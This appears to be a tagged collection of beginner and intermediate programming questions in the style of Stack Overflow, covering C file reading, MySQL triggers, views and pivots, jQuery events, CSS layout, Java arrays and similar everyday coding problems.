how would i store only the ending bit of a file in a variable in c  my code is as follows:   <pre><code>#include &lt;stdio.h&gt;  int main(int argc  char *argv[]){   char line1[128];   char line2[128];   char line3[128];   char rem_text[128];   file *f;    f = fopen((argv[1])   r );   if (!f) {      printf( error );   } else {       fscanf(f   %127[^\n]\n%127[^\n]\n%127[^\n]\n%127[^\n]    line1  line2 line3  rem_text);       printf( 1:%s\n   line1);       printf( 2:%s\n   line2);       printf( 3:%s\n   line3);       printf( 4:%s\n   rem_text);       fclose(f);   }    return 0; } </code></pre>   the program works almost as expected  except for one detail. what it is supposed to do is  take the first three lines of a file and store them in individual variables. (which works) but then i would like to store the entire remaining bit of the file into its own variable. how do i do that     if for example my test.txt file contains     <pre><code>kapitel 1 chapter_21.txt chapter_42.txt  would you tell me  please  which way i ought to go from here    that depends a good deal on where you want to get to   said the cat.  i don t much care where -  said alice.  then it doesn t matter which way you go   said the cat.  - so long as i get somewhere   alice added as an explanation.  oh  you re sure to do that   said the cat   if you only walk long enough.  </code></pre>   i would like to store <code>kapitel 1</code> as <code>title</code>    <code>chapter_21.txt</code> as <code>chapter_a</code>    <code>chapter_42.txt</code> as <code>chapter_b</code>    and   <pre><code> would you tell me  please  which way i ought to go from here    that depends a good deal on where you want to get to   said the cat.  i don t much care where -  said alice.  then it doesn t matter which way you go   said the cat.  - so long as i get somewhere   alice added as an explanation.  oh  you re sure to do that   said the cat   if you only walk long enough.  </code></pre>   as <code>rem_text</code>,c
escaping single quotes when using and in mysql  i have this trigger program   <pre><code>begin declare last_inserted_number varchar(100) default  0800100200 ; declare last_inserted_message varchar(100) default  lorem ipsum ; declare le_keyword varchar(100) default  loan ;  set last_inserted_number = new.dest_msisdn; set last_inserted_message = new.text_message; set le_keyword =  loan ;  if ( not exists(select id from transactions where tel = last_inserted_number) &amp;&amp; last_inserted_message = le_keyword)  then </code></pre>   which i am wondering how mysql is interpreting is.in this line    <code>if ( not exists(select id from transactions where tel = last_inserted_number) &amp;&amp; last_inserted_message = le_keyword)  then</code>    does mysql drop the  <code> </code> in loan for you when executing the program . second if i replace my variable <code>le_keyword</code> with a number say <code>1</code> the program is executing the logic as i expect.    when the <code>le_keyword =  loan </code> the logic is not executed as i expected. i have come to conclude that the single and double quotes are the problem since there is no syntax errors.,mysql
sql efficiency: update few columns vs all of them  i have to indentify if a row has changed and update it if so. in my programme i have a dictionary with the new values  and a second dictionary with the previous info of the row in the db.    i have on mind two approaches:    <strong>option a</strong> loop over the dictionary comparing to the row values  and if any differs  break and update all the fields. i.e. the update statement would contain all the fields and their values.    the code (python in this case  but very easy to understand) would look like this:   <pre><code>for key  value in incoming_dictionary.iteritems():     if old_dictionary[key] != value:          update_row(incoming_dictionary)          break </code></pre>   which would produce an sql statement like this:   <pre><code>update mytable set field1=... field2=... fieldn=... where = ... </code></pre>   <strong>option b</strong> loop over the dictionary comparing the values  and those that differ have to be stored in another dictionary  and at the end of the loop  update the row  restricting the update statement to those values that actually are different.   <pre><code>changed_fields = {} for key  value in incoming_dictionary.iteritems():     if old_dictionary[key] != value:          changed_fields[key] = value  update_fields(changed_fields) </code></pre>   which would produce a sql like:   <pre><code>update mytable set field1=... where = ... </code></pre>   i would say the second one should be more efficient on the sql level  but i am not quite sure. and it has a little bit of overhead on the programming level.    i am working with ms sql server  but my programme addresses different rbdms. thanks.,sql
crashing at simple object creation  i have this piece of code:   <pre><code>    class someclass { 1       string proxy= localhost:8080 ; 2       proxy proxy=new proxy(); 3       proxy.sethttpproxy(proxy);         // ... </code></pre>   at line 3  compiler tells me that object <code>proxy</code> does not exist.     how can it not exists when i created it one line above    <hr>   <strong>edit:</strong>     i think this won t help  but here is the compiler error(it points to that bracket in line 3.):    <blockquote>    invalid token  )  in class  struct  or interface member declaration  </blockquote>   also  resharper highlights <code>proxy</code>(in line 3) as not found object.,c#
php - get the last modified dir  a little stuck on this and hoping for some help. i m trying to get the last modified dir from a path in a string. i know there is a function called  <a href= http://php.net/manual/en/function.is-dir.php  rel= nofollow noreferrer >is_dir</a>  and i ve done some research but can t seem to get anything to work.     i don t have any code i m sorry.       <pre><code>&lt; php  $path =  ../../images/ ;   // echo out the last modified dir from inside the  images  folder  &gt; </code></pre>   <strong>for example:</strong> the path variable above has 5 sub folders inside the  images  dir currently right now. i want to echo out  sub5  - which is the last modified folder.,php
create a view which spans multiple tables  i am trying to create a view in mysql which shows a player s name  their guardians name  their guardians phone number and the team the player plays in.    i have this script which creates the database :   <pre><code>drop table if exists teamcoach; drop table if exists teamplayer; drop table if exists coachqualification; drop table if exists playerguardian; drop table if exists personaddress; drop table if exists personphonenumber; drop table if exists coach; drop table if exists player; drop table if exists qualification; drop table if exists team; drop table if exists phonenumber; drop table if exists school; drop table if exists person; drop table if exists address; drop table if exists guardian; drop function if exists teamsize;  create table qualification ( qualificationid int not null auto_increment  name varchar(30) not null  level int not null  primary key (qualificationid) ) engine=innodb;  create table team ( teamid int not null auto_increment  name varchar(30) not null  agegroup varchar(30) not null  year int not null  primary key (teamid) ) engine=innodb;  create table address ( addressid int not null auto_increment  number int not null  street varchar(30) not null  suburb varchar(30) not null  towncity varchar(30) not null  primary key (addressid) ) engine=innodb;  create table phonenumber ( phonenumberid int not null auto_increment  number varchar(20) not null  primary key (phonenumberid) ) engine=innodb;  create table school ( schoolid int not null auto_increment  name varchar(30) not null  primary key (schoolid) ) engine=innodb;  create table person ( personid int not null auto_increment  name varchar(30) not null  email varchar(30) not null  photo varchar(30) not null  primary key (personid) ) engine=innodb;  create table personaddress ( personid int not null  addressid int not null  key personid (personid)  key addressid (addressid)  foreign key (personid) references person (personid)  foreign key (addressid) references address (addressid) ) engine=innodb;  create table personphonenumber ( personid int not null  phonenumberid int not null  key personid (personid)  key phonenumberid (phonenumberid)  foreign key (personid) references person (personid)  foreign key (phonenumberid) references phonenumber (phonenumberid) ) engine=innodb;  create table coach ( coachid int not null primary key references person (personid)  datebegancoaching varchar(10) not null ) engine=innodb;  create table player ( playerid int not null primary key references person (personid)  dob varchar(10) not null  schoolid int not null  key schoolid (schoolid)  foreign key (schoolid) references school (schoolid) ) engine=innodb;  create table guardian ( guardianid int not null primary key references person (personid) )engine=innodb;  create table playerguardian ( guardianid int not null  playerid int not null  key guardianid (guardianid)  key playerid (playerid)  foreign key (guardianid) references guardian (guardianid)  foreign key (playerid) references player (playerid) ) engine=innodb;  create table teamplayer ( teamid int not null  playerid int not null  key teamid (teamid)  key playerid (playerid)  foreign key (teamid) references team (teamid)  foreign key (playerid) references player (playerid) ) engine=innodb;  create table teamcoach ( teamid int not null  coachid int not null  key teamid (teamid)  key coachid (coachid)  foreign key (teamid) references team (teamid)  foreign key (coachid) references coach (coachid) ) engine=innodb;  create table coachqualification ( coachid int not null  qualificationid int not null  key coachid (coachid)  key qualificationid (qualificationid)  foreign key (coachid) references coach (coachid)  foreign key (qualificationid) references qualification (qualificationid) ) engine=innodb;  delimiter // create function teamsize(team varchar(30)) returns int deterministic contains sql begin declare size int; select count(*) into size from (( select * from teamplayer where teamid=( select teamid from team where name= red bulls )))as teamsize; return size; end // delimiter ; </code></pre>   and this script which fills it with data :   <pre><code>insert into qualification (name  level) values ( under 7s    3 ); insert into qualification (name  level) values ( under 8s    1 ); insert into qualification (name  level) values ( under 9s    5 ); insert into qualification (name  level) values ( under 10s    4 ); insert into qualification (name  level) values ( under 80s    10 );  insert into team (name  agegroup  year) values ( blue hawks    under 7s    2015 ); insert into team (name  agegroup  year) values ( yellow dolphins    under 8s    2013 ); insert into team (name  agegroup  year) values ( red bulls    under 9s    2014 ); insert into team (name  agegroup  year) values ( turquiose turtles    under 10s    2015 ); insert into team (name  agegroup  year) values ( violet butterflies    under 80s    2015 );  insert into address (number  street  suburb  towncity) values ( 6    selwyn street    north east valley    dunedin ); insert into address (number  street  suburb  towncity) values ( 6    inverleith street    woodhaugh    dunedin ); insert into address (number  street  suburb  towncity) values ( 40    chaucer street    milton    milton ); insert into address (number  street  suburb  towncity) values ( 105    inniscort street    decent part    cromwell ); insert into address (number  street  suburb  towncity) values ( 43    chambers street    north east valley    dunedin );  insert into phonenumber (number) values ( 034178669 ); insert into phonenumber (number) values ( 0272637393 ); insert into phonenumber (number) values ( 0277147957 ); insert into phonenumber (number) values ( 0220826217 ); insert into phonenumber (number) values ( 0800838383 );  insert into school (name) values ( tokomairiro high ); insert into school (name) values ( cromwell college ); insert into school (name) values ( otago boys ); insert into school (name) values ( otago girls ); insert into school (name) values ( woodhaugh rest palace );  insert into person (name  email  photo) values ( andrew fletcher    gmail@gmail.com    puppy.jpg ); insert into person (name  email  photo) values ( sam bates    outlook@outlook.com    kitten.jpg ); insert into person (name  email  photo) values ( mason osbourne    yahoo@gmail.com    cheetah.jpg ); insert into person (name  email  photo) values ( zara demontgomery    hola@malware.com    elephant.jpg ); insert into person (name  email  photo) values ( reuben crimp    norton@avg.com    dolphins.jpg ); insert into person (name  email  photo) values ( joy gasson    example@example.com    owl.jpg ); insert into person (name  email  photo) values ( brian treanor    www@www.com    whale.jpg ); insert into person (name  email  photo) values ( dale parsons    java@oracle.com    swordfish.jpg ); insert into person (name  email  photo) values ( tom clark    gnu@linux.com    lion.jpg ); insert into person (name  email  photo) values ( jim beam    mysql@databases.com    monkey.jpg ); insert into person (name  email  photo) values ( jack daniels    mysql@databases.com    monkey.jpg ); insert into person (name  email  photo) values ( john snow    mysql@databases.com    monkey.jpg ); insert into person (name  email  photo) values ( ned stark    mysql@databases.com    monkey.jpg ); insert into person (name  email  photo) values ( tywin lannister    mysql@databases.com    monkey.jpg ); insert into person (name  email  photo) values ( hodor hodor    mysql@databases.com    monkey.jpg ); insert into person (name  email  photo) values ( joe bloggs    mysql@databases.com    monkey.jpg ); insert into person (name  email  photo) values ( john doe    mysql@databases.com    monkey.jpg ); insert into person (name  email  photo) values ( jane doe    mysql@databases.com    monkey.jpg ); insert into person (name  email  photo) values ( lassie dog    mysql@databases.com    monkey.jpg ); insert into person (name  email  photo) values ( jake sully    mysql@databases.com    monkey.jpg );  insert into personaddress (personid  addressid) values ( 1    3 ); insert into personaddress (personid  addressid) values ( 2    4 ); insert into personaddress (personid  addressid) values ( 3    5 ); insert into personaddress (personid  addressid) values ( 4    3 ); insert into personaddress (personid  addressid) values ( 5    2 );  insert into personphonenumber (personid  phonenumberid) values ( 1    2 ); insert into personphonenumber (personid  phonenumberid) values ( 2    4 ); insert into personphonenumber (personid  phonenumberid) values ( 3    1 ); insert into personphonenumber (personid  phonenumberid) values ( 4    5 ); insert into personphonenumber (personid  phonenumberid) values ( 5    3 );  insert into coach (coachid  datebegancoaching) values ( 6    2014 ); insert into coach (coachid  datebegancoaching) values ( 7    2013 ); insert into coach (coachid  datebegancoaching) values ( 8    2012 ); insert into coach (coachid  datebegancoaching) values ( 9    2014 ); insert into coach (coachid  datebegancoaching) values ( 10    1993 );  insert into player (playerid  dob  schoolid) values ( 1    08/07/1993    1 ); insert into player (playerid  dob  schoolid) values ( 2    02/06/1993    2 ); insert into player (playerid  dob  schoolid) values ( 3    08/04/1995    1 ); insert into player (playerid  dob  schoolid) values ( 4    08/01/1994    1 ); insert into player (playerid  dob  schoolid) values ( 5    25/12/1992    5 ); insert into player (playerid  dob  schoolid) values ( 11    06/07/1998    3 ); insert into player (playerid  dob  schoolid) values ( 12    06/07/1998    3 ); insert into player (playerid  dob  schoolid) values ( 13    06/07/1998    4 ); insert into player (playerid  dob  schoolid) values ( 14    06/07/1998    5 ); insert into player (playerid  dob  schoolid) values ( 15    06/07/1998    4 );  insert into guardian (guardianid) values ( 16 ); insert into guardian (guardianid) values ( 17 ); insert into guardian (guardianid) values ( 18 ); insert into guardian (guardianid) values ( 19 ); insert into guardian (guardianid) values ( 20 );  insert into playerguardian (guardianid  playerid) values ( 16    1 ); insert into playerguardian (guardianid  playerid) values ( 16    2 ); insert into playerguardian (guardianid  playerid) values ( 17    3 ); insert into playerguardian (guardianid  playerid) values ( 17    4 ); insert into playerguardian (guardianid  playerid) values ( 18    5 ); insert into playerguardian (guardianid  playerid) values ( 18    11 ); insert into playerguardian (guardianid  playerid) values ( 19    12 ); insert into playerguardian (guardianid  playerid) values ( 19    13 ); insert into playerguardian (guardianid  playerid) values ( 20    14 ); insert into playerguardian (guardianid  playerid) values ( 20    15 );  insert into teamplayer (teamid  playerid) values ( 1    1 ); insert into teamplayer (teamid  playerid) values ( 2    2 ); insert into teamplayer (teamid  playerid) values ( 3    3 ); insert into teamplayer (teamid  playerid) values ( 4    4 ); insert into teamplayer (teamid  playerid) values ( 5    5 ); insert into teamplayer (teamid  playerid) values ( 2    11 ); insert into teamplayer (teamid  playerid) values ( 4    12 ); insert into teamplayer (teamid  playerid) values ( 4    13 ); insert into teamplayer (teamid  playerid) values ( 3    14 ); insert into teamplayer (teamid  playerid) values ( 5    15 );  insert into teamcoach (teamid  coachid) values ( 1    6 ); insert into teamcoach (teamid  coachid) values ( 2    7 ); insert into teamcoach (teamid  coachid) values ( 3    8 ); insert into teamcoach (teamid  coachid) values ( 4    9 ); insert into teamcoach (teamid  coachid) values ( 5    10 );  insert into coachqualification (coachid  qualificationid) values ( 6    5 ); insert into coachqualification (coachid  qualificationid) values ( 7    4 ); insert into coachqualification (coachid  qualificationid) values ( 8    3 ); insert into coachqualification (coachid  qualificationid) values ( 9    2 ); insert into coachqualification (coachid  qualificationid) values ( 10    1 ); </code></pre>   is what i am trying to do even possible,mysql
typeerror: cannot concatenate  str  and  list  objects in email  i am working on sending an email in python. right now  i want to send entries from a list via email but i am encountering an error saying  typeerror: cannot concatenate  str  and  list  objects  and i have no idea to debug it. the following is the code that i have. i m still new in this language (3 weeks) so i have a little backgroud.   <pre><code>import smtplib x = [2  3  4] #list that i want to send to =    #recipient user_name =    #sender username user_pwrd =    #sender password smtpserver = smtplib.smtp( mail.sample.com  port) smtpserver.ehlo() smtpserver.starttls() smtpserver.ehlo() smtpserver.login(user_name user_pwrd)  #header part of the email        header =  to:  +to+ \n + from:  +user_name+ \n + subject: \n  print header  #msg  msg = header + x #this is the part that i want to insert the list that i want to send. the type error occurs in this line  #send email      smtpserver.sendmail(user_name  to  msg) print  done!   #close email connection smtpserver.close() </code></pre>,python
syntaxerror on rails in a model  i have this function in my model on rails  what i pretend to do is that it returns the two first categories not deleted and with some articles  but when i run the app  it gives to me this error   <pre><code>/users/juampi/desktop/iaw2015/app/models/category.rb:14: syntax error  unexpected keyword_end end ^  </code></pre>   /users/juampi/desktop/iaw2015/app/models/category.rb:16: syntax error  unexpected keyword_end end ^     here is the model category.rb   <pre><code>class category &lt; activerecord::base has_many :articles  dependent: :destroy validates_uniqueness_of :nombre   def primerasdosnovacias     cant=0     aux =0     cate=[     ]     categorias = category.where(eliminado: false)     while (categorias.length &gt;= aux &amp;&amp; cant &lt; 2)          if (article.where(category_id: categorias[aux].id).length != 0)             cate=categorias[aux]             cant++         end          aux++     end end  end </code></pre>   the view where i called the method    <pre><code>..      &lt;% categories = category.primerasdosnovacias %&gt; .. </code></pre>,ruby-on-rails
find difference between two sets of records  i have a set of data on sql server something like:   <pre><code>id id_invoice article quantity status 1  10         carrot  10       null 2  10         carrot  5        c 3  10         onion   8        null 4  10         onion   4        c 5  11         tomato  20       null 6  11         tomato  18       c 7  11         onion   2        null 8  11         onion   1        c </code></pre>   it means that a customer ordered 10 carrots and 8 onions (on one invoice) but actually received only 5 carrots and 4 onions. if status is null then it is original quantity  if status is c then it is corrected quantity    i need to generate a table like   <pre><code>id id_invoice article quantity  1  10         carrot  -5        2  10         onion   -4 3  11         tomato  -2 4  11         onion   -1 </code></pre>   which shows the difference between ordered quantity and real quantity on each invoice. i have no idea how to begin. any help deeply appreciated :),sql
angular.js hello world difference between 1.2.0 and 1.4.7  i have a really simple angular.js hello world application. when i  include version 1.2.0 the application works but when i include 1.4.7 the application does not work.   <pre><code>&lt;body ng-app&gt;  &lt;!-- works with 1.2.0 --&gt; &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js &gt;&lt;/script&gt;  &lt;!-- does not work with with 1.4.7 --&gt; &lt;!--script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.4.7/angular.min.js &gt;&lt;/script--&gt;   &lt;div ng-controller= appctrl &gt;     hello {{name}} &lt;/div&gt;  &lt;script type= text/javascript &gt;     var app = angular.module( app  []);      function appctrl($scope) {         $scope.name =  sally ;     } &lt;/script&gt;  &lt;/body&gt; </code></pre>   can someone help me with what might be wrong here     thanks,angularjs
utility to clean up a .net directory tree prior to archiving   i m sure this must have been asked before  but i can t seem to come up with the correct search to find what i m looking for.    i m a .net developer  and even though we use a version control system  i often find myself wanting to zip a .net solution directory tree  and want a utility to delete all the temp files that can be rebuilt from the source code  such as objs  pdb s and what not.    surely someone must have already written such a simple utility :)    thanks in advance    jonathan,.net
jquery event on text changing  i try to detect text changing in live on an input text. here is my attempt to do this :    this code is for jquery includes version.   <pre><code>&lt;script src= http://code.jquery.com/jquery-1.9.0.js &gt;&lt;/script&gt; &lt;script src= http://code.jquery.com/jquery-migrate-1.0.0.js &gt;&lt;/script&gt; </code></pre>   this code is for the form. like you will see  a simple form with 2 input text (id and password) and a button.   <pre><code>&lt;form method= post &gt;     &lt;input type= text  name= id  id= id  placeholder= mail adress  /&gt;     &lt;input type= text  name= pass  id= pass  placeholder= password  /&gt;     &lt;input type= submit  name= login  id= login  value= login  /&gt;             &lt;/form&gt; </code></pre>   and finally the jquery code that seems not working. i placed it in the <code>&lt;body&gt;&lt;/body&gt;</code> which also contains my form.   <pre><code>&lt;script type= text/javascript &gt;     $( #id ).on( input   function () {         alert( text changed );     }); &lt;/script&gt; </code></pre>   this short code doesn t seems to work. i followed a <a href= https://stackoverflow.com/questions/6458840/on-input-change-event >precedent question asked in this site</a>  but this solution didn t help me.    the most strange thing is that it works when i copy paste this code in a snippet  but doesn t with a simple html file located in my pc. so i think the problem come from my jquery includes  possibly..    may someone light my lantern,jquery
javascript chained inequality gives bizarre results <pre><code>(0 &lt;= 0 &lt;= 0) === false (-1 &lt; 0 &lt;= 0 &lt;= 0) === true </code></pre>   what s going on here  does javascript actually have inequality chaining that s just wrong in some cases,javascript
unordered_map  check for threshold in a sliding window  i have an unordered_map  the keys represent the minutes in an hour (from 0 to 60) and the value the number of event at that minute.    what i want is in a given window size is to check if the sum events is above some threshold.    for instance  let s say i have this unordered_map=<code>[(4 3) (5 2) (7 2)]</code> window size = 3 (minutes) threshold = 6    so in this example i don t have a window of 3 minutes with more than 6 events  but if window size was = 4 then do.    what is the best way to approach this  i thought copying the unordered_map to a map because it s key sorted.    next i thought of having a sliding window that each time adding the new element and dropping  the oldest  but i m having trouble doing it because minutes who don t have events don t show in the map (like minute 6)m how do i overcome this  (i don t want to manually add the empty minutes like (6 0) because they are way too many  more than evented minutes)    thank you,c++
responsive title with different background images on each side  i have some css challenge here. to describe what i am after is challenge as well :) so hope it makes sense.    i need text title that will align in the middle of div container.    the title needs to have a background image that will apply to its left side and different background image that will apply to its right side.    the background behind the title text must be transparent.   <pre><code>~~~~bg image1~~~~ title ~~~~bg image2~~~~  </code></pre>   the <code>width</code> of div container varies as well as the title text length.    i ve tried to apply content with <code>:before</code> and <code>:after</code> markup   <pre><code>h1 {margin: 0 auto;display: table;} h1:before {content: url( image_left.png );} h1:after {content: url( image_right.png );} </code></pre>   however this does not work for me as the width of :before and :after element equals to the width of content image and i can not figure out how to make it responsive.    any hints appreciated :),css
printing on console screen witout printf() in c  the code given in my textbook of c programming as     <pre><code>#define datatype char far*    main() {   datatype s;    s = 0xb8000000;   *s =  a ;     getch();  } </code></pre>   by executing this code i m getting a printed on top left corner of screen. in order to justify it is written in book that 0xb8000000 is the address that refer to top-left position of screen and is 32-bit address which is called far pointer. but the idea is not clear about it so can anybody justify it me more clearly. thank you.,c
java how to count how many elements in an array have a range   so i m trying to import data from a text file. this is the content of the file:    15<br> 49 50 51 59 0 5 9 10 15 19 50 55 89 99 100    the first number is supposed to stand for the number of test scores. the second row of numbers contains the individual test score.     i am using <code>bufferedreader</code>  and <code>stringtokenizer</code> to read the data and put it into <code>int[] anarray;</code>. the variable <code>int number1 = integer.parseint(s1);</code> is supposed to save the first line of text(the total amount of all test scores). then i initialize <code>anarray = new int[number1];</code> to store all the test scores in it. i succeeded in doing this task. and because all arrays start at <code>[0]</code>  i initialize variable int <code>readnumber = number1 -1;</code> this is the chunk of code that initializes <code>int[] anarray;</code>:   <pre><code>int x = readnumber;     for (x = readnumber; x &gt;= 0; x--)     {       s2 = st.nexttoken();       anarray[x] = integer.parseint(s2);       countarray[x] = integer.parseint(s2);         //system.out.println (     token is:   + s2);       //system.out.println (anarray[x]);     } </code></pre>   i am supposed to create an array that would go through <code>int[] anarray;</code> and count the test scores. i am supposed to save these test scores in a range. 0 -9  10 - 29  30 - 39  40 - 49  50 - 59  60 - 69  70- 79  80 - 89  90 - 100.    this is a kind of statistic. i am supposed to separate the individual values of <code>int[] anarray;</code> and put them into the above ranges in a new array. so i created the array <code>countarray[x] = integer.parseint(s2);</code>. i made a code that finds the minimum and maximum range values based on the input. every time the loop goes through <code>int[] anarray;</code> and finds that the <code>[x]</code> value of the array fits in between the minimum and maximum of the range  it is supposed to add <code>1</code> to the array <code>int[] countarray;</code> and move to the next one. that is how it would find how many <code>int[] anarray;</code> values fit into a specific range parameters. the other code around that loop just determines the range parameters from the input  so that they are flexible  and not  hard-wired  into the code.    i can t make this program work. i think it s just an error in the syntax of the <code>int[] countarray;</code>. can you guys look into it  all the other loops and calculations must stay.   <pre><code>here is my main code: import java.io.*; import java.util.*;  public class gradeshistogram {   public static void main(string[] args)throws java.io.ioexception   {      string s1;     string s2;     bufferedreader br = new bufferedreader (new filereader ( grades.in.txt ));     s1 = br.readline();     system.out.print(s1);     system.out.println( \n );     int number1 = integer.parseint(s1);     //system.out.println( number1 is   +number1);     int[] anarray;                anarray = new int[number1];        anarray[0] = 1;      int[] countarray;     countarray = new int[number1];        countarray[0] = 1;       system.out.println(s1);     s2 = br.readline();     system.out.println(s2);     stringtokenizer st = new stringtokenizer (s2);      int readnumber = number1 -1;     int x = readnumber;     for (x = readnumber; x &gt;= 0; x--)     {       s2 = st.nexttoken();       anarray[x] = integer.parseint(s2);       countarray[x] = integer.parseint(s2);         //system.out.println (     token is:   + s2);       //system.out.println (anarray[x]);     }     int histogrammin = 0;     int histogrammax = 0;     x = readnumber;     for (int histogramrows = 0; histogramrows &lt; 10; histogramrows++)     {        histogrammin = histogramrows * 10;        if (histogrammin == 90)       {       histogrammax = histogrammin + 10;         }       else        {         histogrammax = histogrammin + 9;         for (x = 0; x &lt; 14; x++)         {           if (histogrammin &lt;= anarray[x] &amp;&amp; anarray[x] &lt;= histogrammax)           {             countarray[x]++;             system.out.println( countarray =  +countarray[x]);           }          }       }     }   } } </code></pre>,java
how can i place text over an image in a table cell   i have the following code which produces cells in rows that are fit to the size of  the browser window:   <pre><code>&lt;td&gt;&lt;a href= url1 &gt;&lt;img src= img1 &gt;&lt;/a&gt;txt1&lt;/td&gt; &lt;td&gt;&lt;a href= url2 &gt;&lt;img src= img2 &gt;&lt;/a&gt;txt2&lt;/td&gt; &lt;td&gt;&lt;a href= url3 &gt;&lt;img src= img3 &gt;&lt;/a&gt;txt3&lt;/td&gt; </code></pre>   i have over a hundred of these lines produced by a php loop.    i need the txt1  txt2  txt3  etc. to be over their image.  however i also need the cells to be distributed the same as they are now (in rows that adjust to the width of the browser window).,html
performance cost of adding to the string prototype in javascript  i was looking at some code (<a href= https://github.com/einaros/tinycolor/blob/master/tinycolor.js  rel= nofollow >https://github.com/einaros/tinycolor/blob/master/tinycolor.js</a>) that adds to the prototype of the <code>string</code> object in javascript.     i was wondering how to assume the overhead of adding to the <code>string</code> prototype  as it applies to any string handling (cpu  memory) that doesn t require these additions. that s because i probably wouldn t find it useful to get overhead for all string manipulations just for this small shim  and i guess it s also a good time to get more friendly with javascript prototype manipulation of the native types.     as the topic has been endlessly discussed in various contexts  any pointer to an existing good or simple analysis would be helpful  or a succinct-yet-correct explanation. it s a bit hard to land using a google keyword search..    thanks!,javascript
jquery: how to retrieve the id of a c# dynamically created checkbox  i m dynamically generating checkboxes on my asp page using the following code in the page_load event:   <pre><code> protected void page_load(object sender  eventargs e)     {         for (int i = 23; i &lt; 30; i++)         {             checkbox cb = new checkbox();             cb.id =  chkd  + i.tostring();             cb.text =  wi   + i.tostring();             cb.autopostback = true;             cb.cssclass =  mycheckboxes ;             panel1.controls.add(cb);             panel1.controls.add(new literalcontrol( &lt;br&gt; ));         }     } </code></pre>   i m trying to use jquery to execute a stored procedure based on the id of the checkbox that was clicked.  however  the id of the box that was clicked is always an empty string.  i m just getting my feet wet with jquery so any help would be appreciated.  below is my jquery code:   <pre><code>&lt;script src= //ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js  type= text/javascript &gt;&lt;/script&gt; &lt;script type= text/javascript &gt;     $(document).ready(function () {         $( .mycheckboxes ).click(function (event) {             $.ajax({                 type:  post                   url:  idchecker.aspx                   data:  id=  + $(this).val()                  success: function (msg) {                     if (msg !=  none  &amp;&amp; !$( #chkd  + msg).is( :checked )) {                         $( #chkd  + msg).trigger( click );                     }                 }             });         });     });  &lt;/script&gt; </code></pre>,jquery
dynamic pivot mysql  let s say i have a table that looks like:   <pre><code>id   |   item       |   purchased   17   |   chocolate  |       1304        17   |    biscuit   |     1209            17   |     jelly    |     657             17   |     milk     |      2234    </code></pre>   i want it to convert such data dynamically into (columns increase dynamically):   <pre><code>id | chocolate_purchased | biscuit_purchased | jelly_purchased | milk_purchased 17   | 1304              | 1209              |  657            |  2234 </code></pre>   how can i achieve this in mysql   i need to work on very large amounts of records so can somebody please give me the methods that would be efficient,mysql
trying to sort two numbers in descending order using a swap statement using c language  i have to sort the integers in descending order using a swap statement so far i have this but its not working    <pre><code>#include &lt;stdio.h&gt; int main() { int round  num1  num2; for (round =0; round &lt;= 3; round++) printf( enter two integers: \n ); scanf( %d  %d   &amp;num1  &amp;num2); printf( the numbers in descending order:  %d  %d\n   num1 num2); return 0; } void swap(int num1 int num2) { if (num1 &lt; num2); swap (num2  num1); } </code></pre>,c
changing a property into a method - any side effects   i have a class that has some properties. and i want something that calculates a score out of these properties. since this is a trivial task (some additions and divisions  but nothing spectacular).    so naturally  the question is:  when to use a property with some code in the getter  and when to use a function    and <a href= https://stackoverflow.com/questions/67063/ >that question was already answered</a>.    now  i wonder about one thing though: if - against all expectations - i ever needed to make this getter so complicated that it should be a function (for example  because i need to put data in or because it can throw an exception or whatever)  is it easy to change a property into a method     of course  it seems really trivial  just changing   <pre><code>public double score {     get {         return math.round(a + b / c * d 3);     } } </code></pre>   to   <pre><code>public double score(){     return math.round(a + b / c * d 3); } </code></pre>   but i wonder: are there any side effects  is anything going to break when changing stuff around like this  i can only ever see this as a possible problem when reflection is involved  but what in situations where i have 2 assemblies - one that defines the class and one that uses the class - and only change the one that contains the class without recompiling the consumer assembly. is that a possible source of  weird bugs that are nearly impossible to track  or is it completely safe to change properties to methods,.net
html paragraph spacing different in firefox only  i ve created a webpage that has several divs containing text. the right hand side of the page contains one large div made up of several paragraphs using the p tags. at the bottom of this large div after the closing p tag i have left some space so that the writing does not go right to the bottom of the webpage.    this space varies between browsers. it seems to display exactly how it shows in dreamweaver in ie9 and safari but when previewing in firefox it seems to cut off some of the text at the bottom. this can be fixed by increasing the height of that div but then this also increases the space more in safari and ie.    i ve come to the conclusion that the spacing between each paragraph down the page is larger in firefox than ie9 or safari for some reason which is why the last bit of text is getting cut off in firefox.    has anyone else had this problem     here is link to my webpage: see the difference in the paragraph spacing in firefox compared to ie/safari  most noticable at the bottom as it cuts off the writing:    www.athatravel.com/newsite21/srilanka_highlights.html,html
no iframe transparency in ie   i have an iframe that uses a background image on behind it.  on firefox  the background is transparent and i can see the background image.  on ie the background in the iframe defaults to white.  is there a fix for this     example:   <pre><code>&lt;td width= 80px  class= voting  align= center &gt;&lt;div id= votingiframediv &gt;     &lt;iframe  id= votingiframe  frameborder= 0   allowtransparency= true  vspace= 0   hspace= 0   marginwidth= 0   marginheight= 0  width= 80   height= 70  scrolling= no   src= vote/index.php userid=89&amp;fishid=&lt; php echo $row[ id ]; &gt;  &gt;         &lt;/iframe&gt;&lt;/div&gt;     &lt;/td&gt; </code></pre>,css
save data to db from tinymce  i am using an asp.net application.in the page using tinymce text editor as the textarea. so i want to know how we can save data to db from this textarea content.    how to get the value from this text areat to a field.please explain the details    thanks sreyas mn,asp.net
jquery for one page site  i am using following jquery code for my one page portfolio my site <a href= http://www.hettzdesigns.com >http://www.hettzdesigns.com</a>    but when page loads it directly goes to contact section of site instead of index section.    can anyone tell where it is going wrong.   <pre><code>$(document).ready(function(){      $( nav ul li a ).click(function(){         var el = $(this).attr( href );         var elwrapped = $(el);         scrolltodiv(elwrapped 140);         return false;     });      function scrolltodiv(element navheight){         var offset = element.offset();         var offsettop = offset.top;         var totalscroll = offsettop-navheight;         $( body html ).animate({             scrolltop: totalscroll         }  650);     } }); </code></pre>,jquery
facing error 1053 in case of windows service  i made a windows service. my code is similar to:   <pre><code>onstart() {     while(true)     {         //code     } } </code></pre>   i am trying to update my database every minute. the service builds properly and installed properly  but when i start the service it gives error 1053. i have tried alot to solve it but not get any solution.,c#
